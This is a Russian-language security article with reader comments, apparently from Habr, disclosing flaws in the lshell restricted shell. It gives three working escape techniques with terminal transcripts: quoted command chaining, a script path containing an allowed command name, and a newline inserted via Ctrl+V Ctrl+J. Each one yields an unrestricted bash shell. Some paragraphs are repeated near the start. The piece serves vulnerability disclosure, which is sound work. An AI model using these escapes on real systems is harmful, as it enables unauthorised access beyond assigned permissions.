lshell — это оболочка, которая ограничивает команды и пути файловой системы, доступные пользователю. Её прочат как альтернативу сложной настройки chroot:
и так далее, имеется множество источников, предлагающих её к использованию.
Приложение доступно в репозиториях Ubuntu, Debian и EPEL.
При беглом осмотре заметок о lshell по конфигурационным файлам можно заметить, что часть ограничений, вводимых lshell, служат для упрощения парсинга команд, а не для усиления безопасности. Например — запрет использования точки с запятой и сабшеллов. Есть смысл присмотреться, как этот парсинг реализован.
При осмотре исходного кода становится ясно, что выделение запускаемой команды и её аргументов производится библиотекой, которая предназначена для парсинга команд простых CLI и не разбирает корректно сложный синтаксис шелл-команд. При этом, не взирая на предупреждение в документации, после простой валидации команда передаётся шеллу /bin/sh. Валидация заслуживает отдельного внимания и строится на предположениях, что:
Нигде реального разбора синтаксиса нет, поэтому это далеко не все допущения, принятые в проверке.
Имеются следующие сценарии для побега из такого ограниченного шелла.
Данное программное решение слишком далеко отстоит от состояния, в котором его можно безопасно использовать. Поэтому лучшим выходом будет прекращение его эксплуатации.
и так далее, имеется множество источников, предлагающих её к использованию.
Приложение доступно в репозиториях Ubuntu, Debian и EPEL.
Проблемы в коде
При беглом осмотре заметок о lshell по конфигурационным файлам можно заметить, что часть ограничений, вводимых lshell, служат для упрощения парсинга команд, а не для усиления безопасности. Например — запрет использования точки с запятой и сабшеллов. Есть смысл присмотреться, как этот парсинг реализован.
При осмотре исходного кода становится ясно, что выделение запускаемой команды и её аргументов производится библиотекой, которая предназначена для парсинга команд простых CLI и не разбирает корректно сложный синтаксис шелл-команд. При этом, не взирая на предупреждение в документации, после простой валидации команда передаётся шеллу /bin/sh. Валидация заслуживает отдельного внимания и строится на предположениях, что:
- команда всегда однострочная
- внутри кавычек ничего проверять не нужно
Нигде реального разбора синтаксиса нет, поэтому это далеко не все допущения, принятые в проверке.
Следствия
Имеются следующие сценарии для побега из такого ограниченного шелла.
Сценарий 1: эксплуатация проблемы с кавычками и цепей команд
GH Issue
vladislav@dt1:~$ getent passwd testuser
testuser:x:1002:1003:,,,:/home/testuser:/usr/bin/lshell
vladislav@dt1:~$ su - testuser
Пароль:
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
testuser:~$ ?
cd clear echo exit help history ll lpath ls lsudo
testuser:~$ ls
examples.desktop
testuser:~$ which bash
*** forbidden command: which
testuser:~$ ls'usb'
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 001 Device 006: ID 046d:c05a Logitech, Inc. M90/M100 Optical Mouse
Bus 001 Device 002: ID 046d:c31c Logitech, Inc. Keyboard K120
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
testuser:~$ echo && 'bash'
testuser@dt1:~$ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
testuser@dt1:~$ reboot --help
reboot [OPTIONS...] [ARG]
Reboot the system.
--help Show this help
--halt Halt the machine
-p --poweroff Switch off the machine
--reboot Reboot the machine
-f --force Force immediate halt/power-off/reboot
-w --wtmp-only Don't halt/power-off/reboot, just write wtmp record
-d --no-wtmp Don't write wtmp record
--no-wall Don't send wall message before halt/power-off/reboot
GH Issue
Сценарий 2: запуск скрипта из своей домашней директории, путь к которому содержит имя разрешённой команды
GH Issue
vladislav@dt1:~$ su - testuser Пароль: You are in a limited shell. Type '?' or 'help' to get the list of allowed commands testuser:~$ ? cd clear echo exit help history ll lpath ls lsudo testuser:~$ echo'/1.sh' testuser@dt1:~$ cat echo/1.sh #!/bin/bash /bin/bash testuser@dt1:~$
GH Issue
Сценарий 3: использование специальных последовательностей терминала
Достаточно начать команду с любого разрешённого слова, вставить перевод строки последовательным нажатием двух сочетаний клавиш <CTRL+V><CTRL+J> и ввести любую желаемую команду на новой строке.
GH Issue
vladislav@dt1:~$ getent passwd testuser testuser:x:1001:1002:,,,:/home/testuser:/usr/bin/lshell vladislav@dt1:~$ su - testuser Пароль: You are in a limited shell. Type '?' or 'help' to get the list of allowed commands testuser:~$ ? cd clear echo exit help history ll lpath ls lsudo testuser:~$ bash *** forbidden command: bash testuser:~$ echo<CTRL+V><CTRL+J> bash testuser@dt1:~$ which bash /bin/bash
GH Issue
Лучшее решение
Данное программное решение слишком далеко отстоит от состояния, в котором его можно безопасно использовать. Поэтому лучшим выходом будет прекращение его эксплуатации.
Поделиться с друзьями
Комментарии (10)
izzholtik
18.08.2016 15:20+4Очень напоминает самопальное экранирование тегов в старых чатах )
тупиковый путь, как мне кажется. Слишком много незначительных, казалось бы, нюансов нужно учесть, чтобы закрыть все пути обхода.
slonopotamus
18.08.2016 16:02+4Непонятная поделка которую рекомендуют непонятные люди оказалось решетом. Ну и фиг с ней.
slonopotamus
18.08.2016 16:10При этом в дебиан она попала исключительно потому что её туда сам автор и закоммитил. А в убунту — потому что убунту по умолчанию тащит себе всё из дебиана, не включая мозг. Вот как она оказалась в центосе — вопрос.
YourChief
18.08.2016 16:14В профиле автора на гитхабе написано, что он в редхате работает. Может это повлияло как-то. Да и епел не совсем официальный репозиторий.
mwizard
Правильно ли я понимаю, что python, запущенный в этом lshell, будет иметь доступ ко всему, в отличие от chroot?
YourChief
Да, но сам по себе питон никто не добавляет в разрешённые команды. Ни в ограниченных шеллах, ни в sudoers. Далеко ходить не надо — даже из vim-а можно команды запускать.
mwizard
Есть где-то playground с типичным сетапом этого lshell? т.к. не могу отделаться от ощущения, что несмотря на все предосторожности, из песочницы можно вырваться, не прибегая даже к уязвимостям самого lshell, а используя «подручные средства».
YourChief
Нет, нету, но он легко на любой *nix ставится. Не обязательно при этом ставить его в системные пакеты питона и устанавливать как шелл какому-то пользователю. Можно просто позапускать как консольное приложение.